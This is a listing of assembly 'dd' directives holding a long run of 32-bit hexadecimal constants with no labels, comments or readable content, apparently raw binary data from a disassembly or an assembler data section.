dd 56B92EE9h, 0F5526591h, 0BFF41634h, 4436E1EDh, 0A5F94AC0h
dd 0BF85AAA0h, 0AFA3101Dh, 757F7A55h, 0E4455468h, 35A7B601h
dd 6CC5DEEh, 0D73524C6h, 0D90F35DDh, 0FF6D1894h, 46BD5214h
dd 0E5F49203h, 4A09152Ah, 53EF3513h, 0D6E70B6Ah, 9A2AB6C8h
dd 7E7DECF5h, 0EFB622EEh, 8F8F6B3Eh, 6D0D6D7h, 8B5FECA9h
dd 0A5C201B3h, 21A780Ch, 0F9027E6Dh, 42EA9ADFh, 699875F9h
dd 0D1D0C08h, 5CDFDC4Bh, 0B56D1333h, 6649FF9Eh, 0B91CE7Bh
dd 4E979514h, 6110A25Bh, 0D13AD2D8h, 0DA894AF5h, 63C75405h
dd 0AA1E4991h, 0FB4F3499h, 0DA7AF532h, 0D9743F18h, 0AA238301h
dd 4488C5BCh, 2BA428F0h, 349303E2h, 0BDAB804Ah, 0BDD4180Fh
dd 1655DDE3h, 6AAFFA45h, 15041DD1h, 0B5FB8DD0h, 0B0D42809h
dd 24E20BCDh, 3DD5525Fh, 0D646EFEEh, 495106B1h, 0BA2E9EAAh
dd 7273D88Ah, 0A2079916h, 0F7520E61h, 0D5C69F0Ah, 0A1B76C1Ch
dd 0DD304B9Ch, 0E3CB159Ah, 4192F26Ah, 0E83DF2D6h, 0C6695268h
dd 1DD75237h, 0E9018CFBh, 2F9A71EAh, 0D68A119Bh, 0A1B0EA95h
dd 5FF6EFC2h, 14C1294Ch, 0E8D34EFDh, 0B30D972Eh, 5AE826Dh
dd 62FF6708h, 6A36BA0Eh, 5DA7AB91h, 0EDB69FFBh, 0CC6038C2h
dd 87B576Ch, 0D0F079C3h, 0A53F8FD6h, 318898FFh, 2E0F4DF8h
dd 2ACAAA75h, 0EDA22221h, 70199DFAh, 5C49B6E8h, 0D294D76h
dd 4325C814h, 415C4BCEh, 9AF8C4D1h, 0BD101171h, 653FC0CAh
dd 76CBB168h, 37DDFB6Eh, 694ECB4Bh, 0F2F55713h, 0EDFBB518h
dd 0ACC25CE1h, 15A09BD6h, 39AB9DFDh, 2F381C8Ch, 0AC57D27h
dd 8551503Fh, 1B88E92Eh, 0DA3AFE9h, 43378DCAh, 0EDA2B4E6h
dd 3E74A67h, 0DCEA2499h, 573CE0CDh, 9381BEFFh, 4F1AEA15h
dd 0EA9D74DEh, 77EEDCAh, 71248353h, 0E531163Ch, 3F1F97B5h
dd 116132E1h, 4CACBFA9h, 9A837EB7h, 5939184Dh, 85BBAD6Dh
dd 0CF9DD0DCh, 0EE9D59B8h, 8C64664Fh, 3B4F8F7Dh, 3E45DC5Fh
dd 0BDABC687h, 0A9BAF2B9h, 3BC32E28h, 0CCA8723Bh, 0CCAF56EAh
dd 5F33F16Fh, 0D3EE80EEh, 0EF40291Dh, 0C23F6EB3h, 0C630B9FBh
dd 3518BE92h, 870B2DD2h, 0B6EF0B50h, 4501A601h, 6550E26h
dd 0FCC099E2h, 8EC4D5EDh, 2D80C5F2h, 9B194AA4h, 742774E0h
dd 0B853DCECh, 87507CCEh, 0BC33CDD5h, 1763B37Fh, 0A8B26B6h
dd 99E7F78Eh, 0C16A52DDh, 348A095Ch, 8D7C01E7h, 0A9512F92h
dd 0CA15279h, 37EE91E3h, 0ED031A9Fh, 0BD9AB40Eh, 1F8B0590h
dd 0F6A41D81h, 0B5E7A003h, 450F2849h, 640EE8BBh, 0B75C9CDDh
dd 31B88350h, 70C2FC52h, 88203CA7h, 0EEF5A75Dh, 63E754CCh
dd 5C4050CFh, 0A8F82D4Fh, 0C6129E98h, 8C6B8E7Ch, 5B5238Eh
dd 2DE7AFBEh, 5191D2DFh, 2933A065h, 85DD777Ch, 7D5B0046h
dd 87555576h, 2875DB4h, 80805C58h, 643BCB8Ah, 0D7B8A771h
dd 0F757556Ah, 0C339FDE0h, 133FF1DDh, 80ED7F35h, 519F7F4Fh
dd 0F2531543h, 0C3A3F830h, 0C55CDE41h, 18FC03AFh, 0D910C5A3h
dd 0AB3C57CDh, 0B4604C87h, 0AF247A34h, 0A22E485Bh, 6F8FA36Ah
dd 0D27A805Dh, 8B728275h, 0A3EF6AC9h, 1B615CB2h, 4F3BE0F2h
dd 0A73EA3D7h, 5ED8A860h, 0B9783C77h, 2585E7B0h, 4B7B9722h
dd 0ADE83F27h, 6F2A8FFh, 0F06B76A5h, 0CA23C9A7h, 0FF040E1Bh
dd 0D6755763h, 59A5D5C6h, 98C7EF25h, 171E8CB6h, 0CFFF2396h
dd 223A8208h, 0AF4DBA9Dh, 3799256Ch, 12EA8C36h, 4954163Bh
dd 0E14A010Bh, 0A24FD593h, 0B20574D1h, 40393AC0h, 16CB7920h
dd 91B1EF0Fh, 85DD0FB8h, 8C031E4Dh, 2D99F0D9h, 9C12C75Eh
dd 0CB901A9Ch, 0D7DB832Bh, 30405377h, 9E5802DEh, 0FAF2B893h
dd 0B7117541h, 7BE6DB1Bh, 5803BA6Ah, 9876E4D4h, 23BEFC1Bh
dd 193B977Dh, 969D41Fh, 47D2F16Fh, 0A1B5A7F6h, 58E713B9h
dd 7390A33Bh, 79A9D5Eh, 6C6FFFDBh, 3293AF75h, 3FB09927h
dd 0F0046795h, 0A2F57588h, 7A18F15Fh, 1B635E5Eh, 8BC9F8F3h
dd 9A19FCC7h, 0E90EE1EFh, 0F571B65Eh, 7D93ECF4h, 0ABF5C425h
dd 3709B567h, 0A0974794h, 7CBC3571h, 951FF0DFh, 4ED82607h
dd 1836FC4Bh, 0B9C02136h, 0BBD7C02Fh, 34172420h, 60812547h
dd 32456A99h, 0D1FCACB0h, 0D606C562h, 5424178Ah, 630E56AFh
dd 14CC71A7h, 0F9222CB8h, 4F4BB4F8h, 0AC7A274Dh, 0ABA1EB5h
dd 9C59783h, 68D7174Ah, 6E53F030h, 0ECD93BD7h, 0E35EDADCh
dd 1DAC6AC6h, 0E3343C0Eh, 0B7E3CA02h, 0A36C2DC1h, 0E7F402A3h
dd 2C9D5AC9h, 8D436250h, 5CCE73E9h, 74DCC069h, 310BF9F3h
dd 3B06FDCAh, 0BD5757A6h, 0BE407DDCh, 0B09B29Eh, 0EF930399h
dd 0A82D636Ch, 0E4A53A60h, 7F93866Eh, 0A4FCED58h, 0E24A258h
dd 0A0D2E257h, 71778F71h, 85C68CD5h, 931ADBDDh, 47BF2172h
dd 850F5B84h, 190E7BBFh, 68F41AEBh, 9A3E3C29h, 0D36C137Ah
dd 6042B10Ch, 9CE0C1F7h, 36E7EB48h, 2771395Ah, 0F34C8D56h
dd 7F8F3C88h, 0D0B7586Ah, 638B69D2h, 0FEAADB60h, 2F4C3E41h
dd 0FCFF0243h, 0B056C1A5h, 0CB01E3B8h, 0BE324F7Ch, 69672D37h
dd 0F3367743h, 3FBEAD91h, 0BA4E9006h, 16707CEBh, 397A7D8Ah
dd 0FD0E7C6Fh, 0DFD75104h, 7EDF7E30h, 0B648740Ch, 309E89D9h
dd 6DB57A39h, 35FC00E5h, 0F0724D01h, 0A9987D78h, 968B28A7h
dd 0CAF0DF3Fh, 94D95144h, 10D926E0h, 2CBD98AEh, 59E37C60h
dd 0BED6E5DAh, 530059A9h, 39B2E07Ch, 0B8A8070Dh, 0D19BD2C8h
dd 8EB1F4h, 7C64D1D0h, 2179C46h, 0A8C17526h, 8C0B4871h
dd 57154257h, 5F82F36Dh, 0CCA31F68h, 7D9187B3h, 56F6C39Dh
dd 9BB3F975h, 8DA56CF2h, 6B17B968h, 87A9011Bh, 4A373120h
dd 43D97FD6h, 39255825h, 0B969563Fh, 0E781730Dh, 67364A50h
dd 547D0883h, 146E5C9Ch, 0D086AB19h, 0B4E7442h, 66BB90CFh
dd 0E8F62608h, 3F1B6FD1h, 42D929FAh, 5C6DC00Ah, 800DA947h
dd 0A79542B7h, 9E4F0F4Dh, 0D39D912Ch, 9D58B180h, 0C16DDDA2h
dd 0E7275D9Ch, 0F1080760h, 6A8EBA47h, 22D33330h, 0F455FB36h
dd 0ED667AD6h, 485D122Fh, 37B48B9Ch, 12724FCh, 0C977C026h
dd 232CF3FBh, 0E9598B11h, 9A8AD01Bh, 70E1ADDEh, 0FB066883h
dd 2B5369EAh, 0E025DA75h, 569B275Eh, 5C53209Fh, 3E616FCEh
dd 4B7E1741h, 30ED31F3h, 5A829D49h, 0B6ADAE96h, 0A4B4E193h
dd 0ADED2326h, 38BA2649h, 0B5CB93CFh, 54769682h, 0EF2C30F5h
dd 7637B5A9h, 0ABC884DEh, 0D53486D6h, 4EE98549h, 3C2C40h
dd 0D501D0AAh, 0C0E4FE84h
dd 5C74B44Bh, 7C7808C5h, 139C635Fh, 7EF9AC15h, 384E8F4Ah
dd 83660412h, 94321C38h, 8C2A9965h, 7F3E4900h, 44BDBA82h
dd 5B1FB22Ch, 99749B33h, 0B38F444Ch, 9603F054h, 0EE6FDA3Eh
dd 5DA4578Fh, 88C257ECh, 0EE9202DBh, 3BAE8DF7h, 3964D48Dh
dd 0C44FECCBh, 928AEEh, 3B1E5A97h, 82BEBF30h, 82F11883h
dd 0CF80D06h, 0D7E79220h, 5181356h, 910902E8h, 77510972h
dd 2AFC6667h, 1A77ADAFh, 0DA198B64h, 5A9AB432h, 1BEA532Ah
dd 3F205C7Bh, 5FBB488Fh, 0CACD81CCh, 606050CFh, 45AB134Ah
dd 55E48F79h, 4C858FE6h, 0A9C77645h, 5D8E3513h, 0C84ACBA5h
dd 0E887C3Ch, 0D8C2C042h, 0C2762519h, 442AD955h, 36A5890Dh
dd 7656D32Ch, 550733FEh, 36C5F63Fh, 1033AD1Eh, 0F67C95Fh
dd 0C898E495h, 9B4727EBh, 0F945C940h, 12383943h, 66480DAh
dd 0F1B04344h, 8E4490B6h, 0DD4219D9h, 2CF6E0BFh, 81FAE032h
dd 0F3483E8Bh, 98A7F236h, 0CB8B6989h, 799168DFh, 1B8E9579h
dd 26F07E2Dh, 9428187Dh, 0A8C35E45h, 13C086Dh, 7FFE1CCDh
dd 29357A24h, 285E9AE0h, 4E6D766Ch, 633EBD68h, 8B08C4A0h
dd 4B87E2F5h, 6C96F879h, 0ABC42E9Ah, 2522ED30h, 5670BC1Eh
dd 0E7652BBCh, 0B25E3760h, 43837F92h, 0AEE2FB0Eh, 5ECE4073h
dd 61BE234Bh, 0FA450242h, 0EDF3441Ah, 1B1B5617h, 0A507B2E7h
dd 9A92FDA1h, 9D841648h, 6FAB5BEFh, 0D534FA6Dh, 8A426BC6h
dd 360E0BB3h, 0F5CF6283h, 0B9F0B22Ch, 3DB3AE40h, 6B237064h
dd 33F148Ch, 0D66D257Ch, 0E8424993h, 0C50F1C06h, 0A5FB30FAh
dd 0D7E092B1h, 0DAF4C0Fh, 5BF4F7C2h, 2758F391h, 2E9A67B3h
dd 511A95A3h, 0E6BF604Fh, 795C13Eh, 1D75E648h, 33A03B1Eh
dd 57241CE5h, 0A639AB01h, 0B5C0D920h, 0C0D72ED5h, 1CB77E07h
dd 9571EED3h, 0D9E6147Dh, 0BE4FE494h, 31861B71h, 0B964ECC2h
dd 3020982Ah, 950CC48Ah, 9605553Bh, 0A28A8F9h, 0C8DA302h
dd 48D048C9h, 7EDA9FABh, 29C84A42h, 0D14C8060h, 0BE9C31EDh
dd 424DD872h, 5897FE3h, 22B29FB2h, 1AF28427h, 44EEEFE6h
dd 0DAE9FEB6h, 4C109983h, 0CD563333h, 6E9F7752h, 56D8A8E6h
dd 0BBAAECB0h, 76662D34h, 4FAD110Dh, 930D853Eh, 0D8D08A3Bh
dd 0EEE4323Bh, 2CF051EEh, 0C6189BD9h, 8DF3CBDEh, 0BD8EF85Ah
dd 324BA524h, 7572F3D3h, 73C9F9FAh, 3728D53Bh, 0B633B9D8h
dd 354FF876h, 0C411113Eh, 0A7F51346h, 6EEF1471h, 0BA3E922h
dd 508EC465h, 9E133236h, 3598C54h, 6C2004B1h, 0A8FB0B9Dh
dd 810972FEh, 0EEAE6E0h, 0ACFDC20Ch, 227B7DE2h, 1913D344h
dd 6C5B4426h, 0BABF1345h, 365C5051h, 0B05DF882h, 0F4C3094h
dd 855BEC39h, 0A7D774ABh, 86C429Dh, 0F617AC9h, 47F06AB9h
dd 9B01CDCEh, 86B292AAh, 28CE22B4h, 0C6DD0F4Ah, 0B06A0B88h
dd 0BFDDC4Bh, 0BE31BC35h, 64D11A0Fh, 700A8C8Eh, 0A132AE4Ch
dd 0E8B59814h, 67BF47B3h, 4569576Fh, 0C611AEh, 0DDE94E2Dh
dd 607844Bh, 0A33EB83Ch, 59AE0927h, 5449BFD4h, 665C7F2Bh
dd 0FBBAAD60h, 0AFA265DCh, 0F60ED1B8h, 0B105031h, 29C70E6Fh
dd 0E8176906h, 0D5D84BB3h, 0D1E170B8h, 0A36A90B0h, 8C29D3AFh
dd 0F5C08ABFh, 0E4BA9759h, 0D6F493DBh, 8B5CBE6Ch, 28CB84B4h
dd 0C2ED78EBh, 38E2DB02h, 0CD7AF75Ch, 424AA534h, 0F9C709D2h
dd 8A1D50C1h, 0D6774A90h, 1A5D6743h, 387C6BEEh, 0F0133E6Ah
dd 0B40BC49Bh, 0BD8EB439h, 60E51F12h, 5E857BC8h, 4529C115h
dd 2174EFBCh, 4C27591h, 9F4B3D0Bh, 787CFFE7h, 0BB80E7EAh
dd 56CF236Ch, 0B3208BF3h, 0ADAD57F0h, 6DEAF121h, 67449B67h
dd 0B8508981h, 0E9361E20h, 55F4280h, 2D1275BDh, 0EEA893EDh
dd 8121226Fh, 9372F28Fh, 1504B78Ch, 4186161h, 4F2F5D46h
dd 8EFE828h, 8312E0FCh, 0E02926A9h, 9195E51Fh, 0CBE85E46h
dd 9DFB6D2h, 0FF371E38h, 2AEE44A4h, 1102A4C9h, 0FEB55AF2h
dd 82C790CDh, 3B1E7EB6h, 25FA7095h, 0FB90D38Ch, 0E120F3BAh
dd 2F0DFFCh, 908A5C4Eh, 367E560h, 0AD971A05h, 0F732F9E2h
dd 57B7D9B6h, 144A0A83h, 6D52CD67h, 14CBDCF7h, 0A6217EF2h
dd 0F828D4A1h, 21DD11B7h, 0FAC4911Ch, 2C33591Fh, 0D71A27F3h
dd 0ADFD75ABh, 47FE6A0h, 62EF824Dh, 4F4B40BEh, 0F4ADD944h
dd 2C76822Ch, 0CFD4C863h, 768DCF7h, 0D263CB3h, 9FB7E4F2h
dd 5813C02Ch, 3F85799Fh, 7F260A82h, 8C659392h, 0F02E95B5h
dd 3125179h, 118928ECh, 9C7AEB28h, 4927C40Bh, 0AD2FB7F1h
dd 530D9E13h, 0A705AE38h, 4C17A921h, 0A223D54Eh, 9400B826h
dd 9E8AA24Ah, 177986A8h, 501C5E4Ch, 0AAE71B36h, 8BD3989Fh
dd 0E8D5AB2Ch, 2736430Eh, 0CF0D49A8h, 4723215Bh, 30F13CCDh
dd 0DE445F8Ah, 0B53AC77Ah, 0FD1C09AAh, 0F336733Ah, 817C72E9h
dd 538C6CFCh, 3A57257Bh, 551A5A39h, 0EE8C96F1h, 0BC54CAD3h
dd 0DAC9A0Bh, 0B189B0EBh, 3CCE68DFh, 9D59DEFBh, 9E727AE9h
dd 0E737E69Ah, 419D71C9h, 82240603h, 0D9986411h, 18280AAh
dd 0E2015D8Ah, 0EC1ED556h, 0E1922334h, 0DA139508h, 9B8192DDh
dd 4186903h, 0C657D5E6h, 370F3AC8h, 65C3D6B8h, 557E8396h
dd 38C1B145h, 90CAFFB1h, 9E15DF58h, 0D76CE1ABh, 78327209h
dd 72D37773h, 0ECB3F5D0h, 8CFC2BD8h, 0BADD55D1h, 8EB1AD03h
dd 0AF0E154Ch, 0AA0B5E76h, 6F642748h, 1188E299h, 0EDEC50E0h
dd 808161C3h, 9DF3B5A7h, 14EB9DDAh, 0A4A63F39h, 50D80404h
dd 430CEE5Eh, 2B76A196h, 3BFE84F8h, 98AF7306h, 0F2E32752h
dd 0DFDCB7DFh, 0EF7FFDADh, 1AF2E435h, 0F59C3402h, 51FA19F1h
dd 0E1DA34FBh, 15E1D5F1h, 38E02ADAh, 0D1C1BAC6h, 4B3A2CBEh
dd 0F1FF5735h, 0B00D2652h, 8183C227h, 0DABDD4CAh, 35CFF51h
dd 0DE9A9137h, 133EAF0Dh, 4915DB0Eh, 0D4ADA392h, 0FEBE0C7Bh
dd 7F52F2FCh, 18EBF3BFh, 0A991A214h, 8020EA5Ch, 284252C9h
dd 6E338E54h, 0E517D29h, 2B481FEDh, 0EAC7E979h, 5A92E6CBh
dd 0ED2C02D1h, 87DFF820h, 0DE2507D7h, 24FF5825h, 0AB8220A3h
dd 0C8BA1158h, 22BE27E7h, 39D7E863h, 0DE2F1D12h, 1F2801EAh
dd 322361FAh, 0B846D5FCh, 0ADE5BDE5h, 0EB1A9C29h, 5AD63AFBh
dd 15BC2225h, 51242E87h, 435E4F63h, 7EE5FE8Fh, 0B367BD05h
dd 0DC252C52h, 24B10F5Ah, 1D1CBED8h, 83EE6EF5h, 0A00D08Ch
dd 0F3C52A22h, 0FCC92413h, 25428F78h, 0FF16EF25h, 878E8B7Ch
dd 4D8C3E9Ch, 6BDAE07Ah, 0AFA0A88Ch, 21A28967h, 1DADA1DFh
dd 0C368619Dh, 4F6F736Ah, 757212D8h, 161C41B1h, 0B7F479DCh
dd 2FEC6D37h, 0FEE7B7A8h, 9EB82B6Eh, 4C1FCE2Ch, 83BCE0Fh
dd 0A8E65044h, 6F97A4Bh, 41609311h, 5CC92D65h, 0A8C7331Ah
dd 705B6F11h, 341D0DA1h, 3915401Ch, 0B3BBC873h, 0B6B30A8Eh
dd 9CD5C044h, 2F408E83h, 88D6A3CDh, 43BFF08Fh, 3889BBA7h
dd 49626246h, 0A7473B5Dh, 0CF6A52DBh, 0CAAE0368h, 0E99DD942h
dd 974D5DCh, 0BCF29F6h, 0CEBF5B9Fh, 0D541F11Ah, 0EDE93C8Fh
dd 9032DC11h, 0E5FA70E7h, 86265BD1h, 1B463595h, 8FBA22F4h
dd 0BDA7749Eh, 42565BB0h, 0A109B272h, 0BA5A533Fh, 476D5ADCh
dd 0E1F671DEh, 8621A602h, 832D00FEh, 344321F9h, 0B3F02EBBh
dd 97C68538h, 8DD433ABh, 0E94F9333h, 8B909CA8h, 42D98887h
dd 8F7845EDh, 0A0C998F1h, 3754A721h, 30AC6ABAh, 0DEA73450h
dd 0CFAA0C9Dh, 3B16A4A9h, 0C4F44B89h, 3D43D700h, 0F2CB7AE6h
dd 5FD8CACBh, 2783E080h
dd 52202902h, 0CFEB6DC1h, 19931FACh, 5A69034Eh, 705F658h
dd 4841258Fh, 5D5ADB0Fh, 0B4E2F9A5h, 90238862h, 87FB86B4h
dd 0BF1CF7B8h, 0CED63778h, 6296394Bh, 0C8389842h, 9B2453E2h
dd 0E18FD7F4h, 4A800CC9h, 0C3EA11B6h, 8A128E3Eh, 702FC8F8h
dd 38461915h, 0C286FEA8h, 50EC80CDh, 0B50D686h, 0E1876222h
dd 0DC79B013h, 4BA6BAF1h, 0AA198549h, 0FA1A0547h, 0B9817911h
dd 13A7F846h, 0E5789FB3h, 859B0FA0h, 2F820629h, 0C526546Eh
dd 18A6B9D9h, 0DF9850A0h, 2815D2B2h, 0DBE9C002h, 2691D0D9h
dd 14D9D7C1h, 9B6DE401h, 8E692AD7h, 882A9DB3h, 7AD42B19h
dd 0FD9ADBCFh, 6DCB7A91h, 0C6A0CD59h, 26235420h, 9A389C57h
dd 0B3DD9DCAh, 0D2D49BAEh, 0BEE86D6Bh, 598D2D63h, 605746E5h
dd 71609E12h, 832206ACh, 4D43BDFFh, 4A2C3F76h, 54974F7Ah
dd 0E5AC688Ah, 0D9FCF4Eh, 0C7249199h, 2FF0C4B7h, 0A32FE831h
dd 2B7D7E8Bh, 5DA1FC7Fh, 0BD1F35A5h, 57974794h, 0BBB18922h
dd 0C044F53Bh, 0E45A3E92h, 6F926B3Ah, 590014Dh, 494A4F3Dh
dd 0CAAA5200h, 0C9D574DCh, 0D5CB9ED9h, 0D5269EFEh, 3EB5B1B3h
dd 0E42C1422h, 774C4A99h, 0AC1E922Fh, 0A3D09120h, 9328818Ch
dd 5215C94h, 0DA2CD9E0h, 0DE40F285h, 0E9BA3665h, 503D8E4Eh
dd 1FD36679h, 80DF28ACh, 0EDEDBAB6h, 822250Dh, 89620BFEh
dd 0B7C87A36h, 8778CE22h, 33984F64h, 0AFBE4F89h, 0BC028CAh
dd 112B8B98h, 54B38DAh, 0B206A09Ah, 3A95E1D5h, 1894D940h
dd 0F8C0DC3Eh, 1148EE51h, 8A84895h, 74EC7230h, 42E7FACCh
dd 8FC66339h, 0A5426426h, 0C0B7637h, 796CD64h, 19026307h
dd 4699BBD0h, 47CEA94Dh, 0BA670D4Ch, 0FC6FB553h, 58EE2C43h
dd 246E1147h, 48740745h, 0B14E783Ah, 0C2A8D1DEh, 0F2024AC6h
dd 9ACA69C4h, 344CDD5Ah, 0F9E411Fh, 41B0CE9Eh, 4B2A3Ch
dd 0EA56593Fh, 2EEEE741h, 0EBB61636h, 0B7A9BAEBh, 131E3F80h
dd 0E6FA36DBh, 0B85594D0h, 6D65D6C8h, 878320FAh, 88FE4D0h
dd 3CC7603Dh, 39A15C6h, 382BA50Ch, 0EBE83F7Eh, 65B8F32Ch
dd 4D7D5B21h, 0E11DBA70h, 0B39E7ADh, 52AFEDAEh, 246E0204h
dd 31606DE2h, 2AF418DEh, 7D0869A3h, 4F457CE5h, 445B4EFh
dd 65ED5B6Eh, 36480DA1h, 0D026F3F4h, 1A3C8DBFh, 0E6FC0CE8h
dd 0FBDEA1F9h, 0E16286E2h, 0E299619h, 4C3DB592h, 0CB84DA9Ch
dd 2F1AF0FBh, 65C415E1h, 0D28E9850h, 0DE70ACF7h, 5A3CC55Ah
dd 4575E39Ch, 0C08B4BB8h, 0E79D7239h, 9505A054h, 58C114E7h
dd 0A3148943h, 2F813CC5h, 2E631802h, 0EC4E9C28h, 5700193Dh
dd 202E71C9h, 0ACC4E2D4h, 24A6405Ch, 0E06BC1F7h, 43F67440h
dd 45E52F98h, 0D40D6FB3h, 0ECC9FFC9h, 35859704h, 69BA8BD3h
dd 0CCF7A9B1h, 3B37600Fh, 0ED38D39Bh, 68623551h, 71A56C47h
dd 2BC1540Eh, 1F4D25D1h, 0BADDF179h, 0FB586DAEh, 836E3594h
dd 0D71ADDAEh, 80ED8733h, 773A9647h, 5FE89763h, 5BA5C182h
dd 0E5C6BB70h, 0B6E8E37Ah, 9438F6EDh, 57798052h, 0E49410D5h
dd 9D691407h, 0C14B4B62h, 330C4CE7h, 55C5E73Ah, 0BCC443C0h
dd 0EA61BC88h, 8A53CB33h, 456D6B56h, 7270F380h, 87FA2A25h
dd 98D4F9CEh, 286029EFh, 9BCD37D9h, 0C7E6F3B9h, 59A0751Fh
dd 98CB2A6h, 0D993F35Eh, 80431CFh, 3EF53201h, 18285C10h
dd 0BE0483C0h, 9B05B5F5h, 42B37922h, 5295F10Fh, 2269718Dh
dd 6A8DA6AEh, 25504BF5h, 0CA3ACACFh, 2C33B2A5h, 0B90BCF82h
dd 905F5711h, 0D55901DAh, 58A513E2h, 0D0857684h, 0DDFE651Bh
dd 85A43306h, 0F775A90Ah, 0E61BF066h, 719AF204h, 0CF3A2EB2h
dd 0A07DFA41h, 0FA84398Eh, 0D0C2374Bh, 397D8005h, 4548D156h
dd 0DDECF68Bh, 0C14EF087h, 0F81C859Dh, 3A69F364h, 0BD243320h
dd 462253ACh, 0CF79BE08h, 0E272D410h, 8F7CFE08h, 2C7FBD52h
dd 0CE338884h, 0C54DE91Eh, 1B270861h, 0E0680363h, 3AE695DEh
dd 6B73B50Bh, 2FFAE72Fh, 0BF5E2F9Bh, 472F3E07h, 8AB55457h
dd 1F405E4Eh, 7791141Dh, 38EC9A9h, 0B0A30AA2h, 9B72C094h
dd 0B8E43F6Bh, 9C41DA96h, 9883036Fh, 382BAC6Eh, 0C865145Fh
dd 499376CFh, 215076D2h, 0C365FC09h, 0B9ACF1A1h, 0C7041585h
dd 37C24DE7h, 26FD68A1h, 0CCE1DBF4h, 57A165D3h, 739D1656h
dd 46F3C6FEh, 0CC65ACEh, 2CBB05E1h, 5ADF53B9h, 0BC469452h
dd 8AD4DE7Ch, 0FDB14E5Fh, 1DA181C3h, 0BD99B086h, 0C3DA9A3h
dd 8C401083h, 12A2F03Bh, 0D8322C0Bh, 0A45580B4h, 459614CDh
dd 0D734E486h, 0F5813A2Fh, 0E503F72h, 53AF373Ah, 6BDC9CAh
dd 0EF7BA662h, 7125D503h, 4AEA503Eh, 0B9597BBFh, 0F60656DCh
dd 0D7894A34h, 0A2A755Dh, 75855C75h, 6D1704F5h, 43AADCF1h
dd 13C09968h, 0CB4E34DBh, 513CC87Dh, 0E6B2D64h, 850E51FBh
dd 7DF06A9Fh, 0C2CD965Ch, 8193CB64h, 31F3C812h, 1119E301h
dd 11DEB4CCh, 99D5B125h, 7539E503h, 0CDF4B094h, 0F43C1E1h
dd 34F1C105h, 0C611D6FEh, 0F2099669h, 146A31C7h, 69BB1C95h
dd 1DF3397Ah, 66FCFE81h, 6555B9DCh, 65AA2069h, 0CB3C28DCh
dd 2F56B5BFh, 883112CAh, 79E78998h, 8FAECD5Dh, 0F00BB8BDh
dd 0A6CB3328h, 158936Ah, 0C5DD9B5Ch, 0E4EEAAh, 596DFCADh
dd 0E8F4A383h, 9A571B7Ch, 7FC37AA1h, 0A2C9F346h, 189C3412h
dd 94C7F472h, 4FF16F6Eh, 2A84B1h, 0F1EC1A6Ah, 0FE8DF33Dh
dd 331CEA3Ch, 0DFE45B2Fh, 0ACC3127Dh, 0FF83FFFFh, 3000008Fh
dd 4060002h, 5A000000h, 920C437h, 5E80C2B7h, 29B54EBh
dd 1878897Ah, 4E69C444h, 3B934657h, 0B4B25133h, 22BF3C1Fh
dd 221D38E7h, 86100F43h, 5CA43DBDh, 8B00049Bh, 0DCCC127Ah
dd 8C44E864h, 4D60B9BCh, 973A72F7h, 85DD93A2h, 6891222Ah
dd 3F324234h, 7A753BF8h, 48612C56h, 8A7A45DEh, 920CFFA3h
dd 0B0CA56E9h, 9C6A9AB0h, 0B4C7C81Dh, 87672985h, 497F4907h
dd 0C632D06Ch, 83D8190h, 6A0156FDh, 39079425h, 6300F166h
dd 6FCD1115h, 2F38B9B9h, 0A224BE85h, 0C13BF3B2h, 0E24358A6h
dd 0A95B137Eh, 0E335FE58h, 7194495Ah, 39DFF1D8h, 0B039B769h
dd 0EF680AE7h, 36AD0BF5h, 20D5DCABh, 1E36F61h, 1ECEDBDCh
dd 310F534Ah, 0BA2336D1h, 4CB6ED5Ch, 6A3D64F3h, 475E76Eh
dd 1012782h, 2DB6AF5Bh, 0DCA56576h, 8B4F2D28h, 0D791E4CAh
dd 28317108h, 8162C025h, 7B08C7E5h, 13178D38h, 2BDE9BF0h
dd 0A28BC853h, 0B99940FAh, 0F9F92175h, 641DC90h, 15C650F0h
dd 0AF81B05Ch, 82026410h, 5A2C81F6h, 0D6B9C75Ah, 0BBAAD4E9h
dd 0D54C3598h, 618AA760h, 939CC21Eh, 0FCC2CC26h, 308396D6h
dd 0EA9CF183h, 57768BFFh, 16FB4591h, 59824B8Fh, 0A730659h
dd 73A54618h, 0C19385BCh, 30B880E0h, 9CA62452h, 96404B35h
dd 9DE8B57h, 5BCA706Dh, 0D5F8C9E8h, 18B2FF09h, 394F80D8h
dd 0ED06A4B6h, 7D14F18Eh, 0B833CA78h, 39486968h, 80111D45h
dd 0AF7140E2h, 0DE53F22Ch, 5CFB1759h, 0C8C3D0D0h, 3FC9E486h
dd 86D11180h, 0E922C8B6h, 60BFAE50h, 0EF086913h, 0C351B2FAh
dd 6EE7E407h, 740AC814h, 834EFDE3h, 272420BDh, 0F54B2C4Bh
dd 0E21B6C8Eh, 874D5C0Ah, 606C3F06h, 0C311C79Fh, 2BB6AEB1h
dd 57D2AA92h, 0AB43437Bh, 1BB802D5h, 0B55AC37Dh, 6B49D898h
dd 0C5F92671h, 8DF1AB6Eh, 1FA74C99h, 8236E023h, 0A904BF58h
dd 0C0E98DF7h, 812FA989h, 0FE2470B7h, 0D82431B4h, 975B6D33h
dd 48A32A92h, 0CC0E241Eh
dd 1016B760h, 6C36C179h, 0AE0D4B53h, 0D959B212h, 0A60EAB30h
dd 1D6EB15Eh, 0CFA6680Dh, 0AF1888BDh, 5CCE3A34h, 5A290905h
dd 564F96A5h, 5CBA9C6Dh, 0A9643C87h, 0E4AAEA7Bh, 2DBA927Ch
dd 6FAA421Ah, 98869C52h, 0E17FB5A4h, 0FEAF825Ah, 3172680Dh
dd 9E2510ECh, 4C0D3763h, 68F27812h, 7B239CA5h, 0DA79DF59h
dd 47480758h, 0C272DC32h, 0F9F8FAA6h, 34660748h, 9E6FEDE9h
dd 9445C35Bh, 179654C9h, 0E83739FAh, 5384234Eh, 0BEE13E49h
dd 0CD08DADAh, 5F57F87Dh, 0DB4D6150h, 0D4FB16F4h, 96B36FE0h
dd 5B5ECACCh, 0C88687BBh, 4547760Dh, 5274338Ah, 7D4EF443h
dd 3E16BDADh, 0BE0AD77Ah, 8D861084h, 1B966AFFh, 0E1D5E42Fh
dd 0BC22E42Ch, 5C3EBF0Eh, 0A28EE6A7h, 0F8FE8E2Ah, 57F760A0h
dd 463D1854h, 14E288BCh, 0B954844Fh, 0F9AD0650h, 0A1E6A0F9h
dd 3DE42FAFh, 0B6464669h, 489A0627h, 7DF91EC6h, 228218DEh
dd 572AE799h, 16B91A39h, 48294F56h, 0A02A8F58h, 0CDC784B0h
dd 97409DDBh, 0C9B1ED52h, 18261A4Dh, 0D47BB6BDh, 5EF3DF1Dh
dd 0A65C7CADh, 0BA108A52h, 3682AB65h, 28B00AD5h, 0A27D6D42h
